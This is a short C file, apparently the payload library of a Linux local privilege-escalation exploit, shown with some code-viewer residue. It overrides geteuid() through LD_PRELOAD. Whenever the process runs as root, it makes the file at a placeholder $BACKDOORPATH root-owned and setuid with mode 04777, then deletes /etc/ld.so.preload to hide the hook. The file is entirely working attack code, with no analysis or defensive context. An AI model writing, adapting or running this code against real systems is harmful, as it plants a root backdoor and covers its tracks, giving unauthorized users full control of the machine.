15 lines
352 B
C
15 lines
352 B
C
#define _GNU_SOURCE
|
|
#include <stdio.h>
|
|
#include <sys/stat.h>
|
|
#include <unistd.h>
|
|
#include <dlfcn.h>
|
|
uid_t geteuid(void) {
|
|
static uid_t (*old_geteuid)();
|
|
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
|
if ( old_geteuid() == 0 ) {
|
|
chown("$BACKDOORPATH", 0, 0);
|
|
chmod("$BACKDOORPATH", 04777);
|
|
unlink("/etc/ld.so.preload");
|
|
}
|
|
return old_geteuid();
|
|
} |